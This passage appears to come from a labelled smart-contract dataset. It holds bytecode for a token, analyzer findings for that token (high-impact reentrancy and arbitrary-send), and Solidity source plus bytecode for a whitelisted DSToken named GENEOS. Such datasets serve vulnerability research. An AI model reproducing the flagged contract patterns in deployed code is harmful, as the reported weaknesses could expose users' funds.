16815260200190815260200160002054613a7090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f4885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461378a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f94816140ec565b613f9e84836141a9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051613ffb9190614dd7565b60405180910390a3505050505050505050565b601154600a81905550601254600b81905550565b600080600060075490506000683635c9adc5dea000009050614058683635c9adc5dea0000060075461374090919063ffffffff16565b82101561407757600754683635c9adc5dea00000935093505050614080565b81819350935050505b9091565b60008060008060008060008060006140a18a600a54600b546141e3565b92509250925060006140b16139e2565b905060008060006140c48e878787614279565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006140f66139e2565b9050600061410d82846136c590919063ffffffff16565b905061416181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461378a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6141be82600754613a7090919063ffffffff16565b6007819055506141d98160085461378a90919063ffffffff16565b6008819055505050565b60008060008061420f6064614201888a6136c590919063ffffffff16565b61374090919063ffffffff16565b90506000614239606461422b888b6136c590919063ffffffff16565b61374090919063ffffffff16565b9050600061426282614254858c613a7090919063ffffffff16565b613a7090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061429285896136c590919063ffffffff16565b905060006142a986896136c590919063ffffffff16565b905060006142c087896136c590919063ffffffff16565b905060006142e9826142db8587613a7090919063ffffffff16565b613a7090919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061431181615675565b92915050565b60008151905061432681615675565b92915050565b60008135905061433b8161568c565b92915050565b60008083601f840112614357576143566151c9565b5b8235905067ffffffffffffffff811115614374576143736151c4565b5b6020830191508360208202830111156143905761438f6151ce565b5b9250929050565b6000813590506143a6816156a3565b92915050565b6000815190506143bb816156a3565b92915050565b6000813590506143d0816156ba565b92915050565b6000815190506143e5816156ba565b92915050565b600060208284031215614401576144006151d8565b5b600061440f84828501614302565b91505092915050565b60006020828403121561442e5761442d6151d8565b5b600061443c84828501614317565b91505092915050565b60006020828403121561445b5761445a6151d8565b5b60006144698482850161432c565b91505092915050565b60008060408385031215614489576144886151d8565b5b600061449785828601614302565b92505060206144a885828601614302565b9150509250929050565b6000806000606084860312156144cb576144ca6151d8565b5b60006144d986828701614302565b93505060206144ea86828701614302565b92505060406144fb868287016143c1565b9150509250925092565b6000806040838503121561451c5761451b6151d8565b5b600061452a85828601614302565b925050602061453b85828601614397565b9150509250929050565b6000806040838503121561455c5761455b6151d8565b5b600061456a85828601614302565b925050602061457b858286016143c1565b9150509250929050565b6000806020838503121561459c5761459b6151d8565b5b600083013567ffffffffffffffff8111156145ba576145b96151d3565b5b6145c685828601614341565b92509250509250929050565b6000602082840312156145e8576145e76151d8565b5b60006145f684828501614397565b91505092915050565b600060208284031215614615576146146151d8565b5b6000614623848285016143ac565b91505092915050565b600060208284031215614642576146416151d8565b5b6000614650848285016143c1565b91505092915050565b600080600060608486031215614672576146716151d8565b5b6000614680868287016143d6565b9350506020614691868287016143d6565b92505060406146a2868287016143d6565b9150509250925092565b60006146b883836146c4565b60208301905092915050565b6146cd81615013565b82525050565b6146dc81615013565b82525050565b60006146ed82614eae565b6146f78185614ed1565b935061470283614e9e565b8060005b8381101561473357815161471a88826146ac565b975061472583614ec4565b925050600181019050614706565b5085935050505092915050565b61474981615037565b82525050565b6147588161507a565b82525050565b600061476982614eb9565b6147738185614eed565b935061478381856020860161508c565b61478c816151dd565b840191505092915050565b60006147a4601683614eed565b91506147af826151ee565b602082019050919050565b60006147c7602383614eed565b91506147d282615217565b604082019050919050565b60006147ea602a83614eed565b91506147f582615266565b604082019050919050565b600061480d602283614eed565b9150614818826152b5565b604082019050919050565b6000614830601b83614eed565b915061483b82615304565b602082019050919050565b6000614853603983614eed565b915061485e8261532d565b604082019050919050565b6000614876601d83614eed565b91506148818261537c565b602082019050919050565b6000614899601783614eed565b91506148a4826153a5565b602082019050919050565b60006148bc603183614eed565b91506148c7826153ce565b604082019050919050565b60006148df602183614eed565b91506148ea8261541d565b604082019050919050565b6000614902602083614eed565b915061490d8261546c565b602082019050919050565b6000614925602983614eed565b915061493082615495565b604082019050919050565b6000614948602e83614eed565b9150614953826154e4565b604082019050919050565b600061496b602283614eed565b915061497682615533565b604082019050919050565b600061498e602583614eed565b915061499982615582565b604082019050919050565b60006149b1600083614ee2565b91506149bc826155d1565b600082019050919050565b60006149d4602483614eed565b91506149df826155d4565b604082019050919050565b60006149f7601783614eed565b9150614a0282615623565b602082019050919050565b6000614a1a601883614eed565b9150614a258261564c565b602082019050919050565b614a3981615063565b82525050565b614a488161506d565b82525050565b6000614a59826149a4565b9150819050919050565b6000602082019050614a7860008301846146d3565b92915050565b6000604082019050614a9360008301856146d3565b614aa060208301846146d3565b9392505050565b6000604082019050614abc60008301856146d3565b614ac96020830184614a30565b9392505050565b600060c082019050614ae560008301896146d3565b614af26020830188614a30565b614aff604083018761474f565b614b0c606083018661474f565b614b1960808301856146d3565b614b2660a0830184614a30565b979650505050505050565b6000602082019050614b466000830184614740565b92915050565b6000604082019050614b616000830185614740565b614b6e6020830184614740565b9392505050565b60006020820190508181036000830152614b8f818461475e565b905092915050565b60006020820190508181036000830152614bb081614797565b9050919050565b60006020820190508181036000830152614bd0816147ba565b9050919050565b60006020820190508181036000830152614bf0816147dd565b9050919050565b60006020820190508181036000830152614c1081614800565b9050919050565b60006020820190508181036000830152614c3081614823565b9050919050565b60006020820190508181036000830152614c5081614846565b9050919050565b60006020820190508181036000830152614c7081614869565b9050919050565b60006020820190508181036000830152614c908161488c565b9050919050565b60006020820190508181036000830152614cb0816148af565b9050919050565b60006020820190508181036000830152614cd0816148d2565b9050919050565b60006020820190508181036000830152614cf0816148f5565b9050919050565b60006020820190508181036000830152614d1081614918565b9050919050565b60006020820190508181036000830152614d308161493b565b9050919050565b60006020820190508181036000830152614d508161495e565b9050919050565b60006020820190508181036000830152614d7081614981565b9050919050565b60006020820190508181036000830152614d90816149c7565b9050919050565b60006020820190508181036000830152614db0816149ea565b9050919050565b60006020820190508181036000830152614dd081614a0d565b9050919050565b6000602082019050614dec6000830184614a30565b92915050565b600060a082019050614e076000830188614a30565b614e14602083018761474f565b8181036040830152614e2681866146e2565b9050614e3560608301856146d3565b614e426080830184614a30565b9695505050505050565b6000606082019050614e616000830186614a30565b614e6e6020830185614a30565b614e7b6040830184614a30565b949350505050565b6000602082019050614e986000830184614a3f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614f0982615063565b9150614f1483615063565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f4957614f48615108565b5b828201905092915050565b6000614f5f82615063565b9150614f6a83615063565b925082614f7a57614f79615137565b5b828204905092915050565b6000614f9082615063565b9150614f9b83615063565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614fd457614fd3615108565b5b828202905092915050565b6000614fea82615063565b9150614ff583615063565b92508282101561500857615007615108565b5b828203905092915050565b600061501e82615043565b9050919050565b600061503082615043565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061508582615063565b9050919050565b60005b838110156150aa57808201518184015260208101905061508f565b838111156150b9576000848401525b50505050565b60006150ca82615063565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156150fd576150fc615108565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f616d6f756e742065786365656473206d61782062757900000000000000000000600082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b7f4261736520666565206d757374206265206c657373207468616e203130000000600082015250565b7f746178206d757374206265206c657373207468616e2035000000000000000000600082015250565b7f6c6971756964697479206665652070657263656e74616765206d75737420626560008201527f206265747765656e203020746f20313030000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f6d61782077616c6c65742070657263656e74616765206d75737420626520626560008201527f747765656e203020746f20313030000000000000000000000000000000000000602082015250565b7f616d6f756e742065786365656473206d61782077616c6c657420686f6c64696e60008201527f6773000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61567e81615013565b811461568957600080fd5b50565b61569581615025565b81146156a057600080fd5b50565b6156ac81615037565b81146156b757600080fd5b50565b6156c381615063565b81146156ce57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040dc319eeff6169ee37b3bc16b1091b498519236855e39762b434f52b1e86fb964736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,332
0x6ffd92d59b9da3b9608ac58b3a08729b556bfec8
pragma solidity ^0.4.11; contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract ERC20 { function totalSupply() constant returns (uint supply); function balanceOf( address who ) constant returns (uint value); function allowance( address owner, address spender ) constant returns (uint _allowance); function transfer( address to, uint value) returns (bool ok); function transferFrom( address from, address to, uint value) returns (bool ok); function approve( address spender, uint value ) returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) constant returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) auth { authority = authority_; LogSetAuthority(authority); } modifier auth { assert(isAuthorized(msg.sender, msg.sig)); _; } modifier authorized(bytes4 sig) { assert(isAuthorized(msg.sender, sig)); _; } function isAuthorized(address src, bytes4 sig) internal returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } function assert(bool x) internal { if (!x) throw; } } contract DSExec { function tryExec( address target, bytes calldata, uint value) internal returns (bool call_ret) { return target.call.value(value)(calldata); } function exec( address target, bytes calldata, uint value) internal { if(!tryExec(target, calldata, value)) { throw; } } // Convenience aliases function exec( address t, bytes c ) internal { exec(t, c, 0); } function exec( address t, uint256 v ) internal { bytes memory c; exec(t, c, v); } function tryExec( address t, bytes c ) internal returns (bool) { return tryExec(t, c, 0); } function tryExec( address t, uint256 v ) internal returns (bool) { bytes memory c; return tryExec(t, c, v); } } contract DSMath { /* standard uint256 functions */ function add(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x - y) <= x); } function mul(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x * y) >= x); } function div(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x / y; } function min(uint256 x, uint256 y) constant internal returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) constant internal returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions (h is for half) */ function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x + y) >= x); } function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x - y) <= x); } function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x * y) >= x); } function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = x / y; } function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) { return x <= y ? x : y; } function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) { return x >= y ? x : y; } /* int256 functions */ function imin(int256 x, int256 y) constant internal returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) constant internal returns (int256 z) { return x >= y ? x : y; } /* WAD math */ uint128 constant WAD = 10 ** 18; function wadd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function wsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + WAD / 2) / WAD); } function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * WAD + y / 2) / y); } function wmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function wmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } /* RAY math */ uint128 constant RAY = 10 ** 27; function radd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function rsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + RAY / 2) / RAY); } function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * RAY + y / 2) / y); } function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) { // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It&#39;s O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } function rmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function rmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } function cast(uint256 x) constant internal returns (uint128 z) { assert((z = uint128(x)) == x); } } contract DSStop is DSAuth, DSNote { bool public stopped; modifier stoppable { assert (!stopped); _; } function stop() auth note { stopped = true; } function start() auth note { stopped = false; } } contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; function DSTokenBase(uint256 supply) { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() constant returns (uint256) { return _supply; } function balanceOf(address src) constant returns (uint256) { return _balances[src]; } function allowance(address src, address guy) constant returns (uint256) { return _approvals[src][guy]; } function transfer(address dst, uint wad) returns (bool) { assert(_balances[msg.sender] >= wad); _balances[msg.sender] = sub(_balances[msg.sender], wad); _balances[dst] = add(_balances[dst], wad); Transfer(msg.sender, dst, wad); return true; } function transferFrom(address src, address dst, uint wad) returns (bool) { assert(_balances[src] >= wad); assert(_approvals[src][msg.sender] >= wad); _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function approve(address guy, uint256 wad) returns (bool) { _approvals[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } } contract WhiteList { mapping (address => bool) public whiteList; address public owner; function WhiteList() public { owner = msg.sender; whiteList[owner] = true; } function addToWhiteList(address [] _addresses) public { require(msg.sender == owner); for (uint i = 0; i < _addresses.length; i++) { whiteList[_addresses[i]] = true; } } function removeFromWhiteList(address [] _addresses) public { require (msg.sender == owner); for (uint i = 0; i < _addresses.length; i++) { whiteList[_addresses[i]] = false; } } } contract DSToken is DSTokenBase(0), DSStop { bytes32 public symbol = "GENEOS"; uint256 public decimals = 18; // standard token precision. override to customize WhiteList public wlcontract; function DSToken(WhiteList wlc_) { require(msg.sender == wlc_.owner()); wlcontract = wlc_; } function transfer(address dst, uint wad) stoppable note returns (bool) { require(wlcontract.whiteList(msg.sender)); require(wlcontract.whiteList(dst)); return super.transfer(dst, wad); } function transferFrom( address src, address dst, uint wad ) stoppable note returns (bool) { require(wlcontract.whiteList(src)); require(wlcontract.whiteList(dst)); return super.transferFrom(src, dst, wad); } function approve(address guy, uint wad) stoppable note returns (bool) { require(wlcontract.whiteList(msg.sender)); require(wlcontract.whiteList(guy)); return super.approve(guy, wad); } function push(address dst, uint128 wad) returns (bool) { return transfer(dst, wad); } function pull(address src, uint128 wad) returns (bool) { return transferFrom(src, msg.sender, wad); } function mint(uint128 wad) auth stoppable note { require(wlcontract.whiteList(msg.sender)); _balances[msg.sender] = add(_balances[msg.sender], wad); _supply = add(_supply, wad); } function burn(uint128 wad) auth stoppable note { require(wlcontract.whiteList(msg.sender)); _balances[msg.sender] = sub(_balances[msg.sender], wad); _supply = sub(_supply, wad); } // Optional token name bytes32 public name = ""; function setName(bytes32 name_) auth { name = name_; } }
0x60606040523615610126576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063021979c31461012857806306fdde031461017a57806307da68f5146101a8578063095ea7b3146101ba57806313af40351461021157806318160ddd1461024757806323b872dd1461026d578063313ce567146102e35780633452f51d146103095780635ac801fe1461037257806369d3e20e1461039657806370a08231146103c857806375f12b21146104125780637a9e5e4b1461043c5780638402181f146104725780638da5cb5b146104db57806390bc16931461052d57806395d89b411461055f578063a9059cbb1461058d578063be9a6555146105e4578063bf7e214f146105f6578063dd62ed3e14610648575bfe5b341561013057fe5b6101386106b1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018257fe5b61018a6106d7565b60405180826000191660001916815260200191505060405180910390f35b34156101b057fe5b6101b86106dd565b005b34156101c257fe5b6101f7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e1565b604051808215151515815260200191505060405180910390f35b341561021957fe5b610245600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a8b565b005b341561024f57fe5b610257610b6f565b6040518082815260200191505060405180910390f35b341561027557fe5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b7a565b604051808215151515815260200191505060405180910390f35b34156102eb57fe5b6102f3610e26565b6040518082815260200191505060405180910390f35b341561031157fe5b610358600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356fffffffffffffffffffffffffffffffff16906020019091905050610e2c565b604051808215151515815260200191505060405180910390f35b341561037a57fe5b610394600480803560001916906020019091905050610e53565b005b341561039e57fe5b6103c660048080356fffffffffffffffffffffffffffffffff16906020019091905050610e99565b005b34156103d057fe5b6103fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611145565b6040518082815260200191505060405180910390f35b341561041a57fe5b61042261118f565b604051808215151515815260200191505060405180910390f35b341561044457fe5b610470600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a2565b005b341561047a57fe5b6104c1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356fffffffffffffffffffffffffffffffff16906020019091905050611286565b604051808215151515815260200191505060405180910390f35b34156104e357fe5b6104eb6112ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053557fe5b61055d60048080356fffffffffffffffffffffffffffffffff169060200190919050506112d4565b005b341561056757fe5b61056f611580565b60405180826000191660001916815260200191505060405180910390f35b341561059557fe5b6105ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611586565b604051808215151515815260200191505060405180910390f35b34156105ec57fe5b6105f4611830565b005b34156105fe57fe5b610606611934565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065057fe5b61069b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061195a565b6040518082815260200191505060405180910390f35b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b61071361070e336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a46001600460146101000a81548160ff0219169083151502179055505b5b50505b565b60006107fc600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561096a57fe5b6102c65a03f1151561097857fe5b50505060405180519050151561098e5760006000fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1866000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610a5057fe5b6102c65a03f11515610a5e57fe5b505050604051805190501515610a745760006000fd5b610a7e8585611c55565b92505b5b50505b92915050565b610ac1610abc336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9460405180905060405180910390a25b5b50565b600060005490505b90565b6000610b95600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1876000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610d0357fe5b6102c65a03f11515610d1157fe5b505050604051805190501515610d275760006000fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1866000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610de957fe5b6102c65a03f11515610df757fe5b505050604051805190501515610e0d5760006000fd5b610e18868686611d48565b92505b5b50505b9392505050565b60065481565b6000610e4a83836fffffffffffffffffffffffffffffffff16611586565b90505b92915050565b610e89610e84336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b80600881600019169055505b5b50565b610ecf610eca336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b610ee8600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561105657fe5b6102c65a03f1151561106457fe5b50505060405180519050151561107a5760006000fd5b6110d5600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846fffffffffffffffffffffffffffffffff166120ac565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611136600054846fffffffffffffffffffffffffffffffff166120ac565b6000819055505b5b50505b5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600460149054906101000a900460ff1681565b6111d86111d3336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada460405180905060405180910390a25b5b50565b60006112a58333846fffffffffffffffffffffffffffffffff16610b7a565b90505b92915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61130a611305336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b611323600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561149157fe5b6102c65a03f1151561149f57fe5b5050506040518051905015156114b55760006000fd5b611510600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846fffffffffffffffffffffffffffffffff166120c6565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611571600054846fffffffffffffffffffffffffffffffff166120c6565b6000819055505b5b50505b5b50565b60055481565b60006115a1600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561170f57fe5b6102c65a03f1151561171d57fe5b5050506040518051905015156117335760006000fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1866000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffff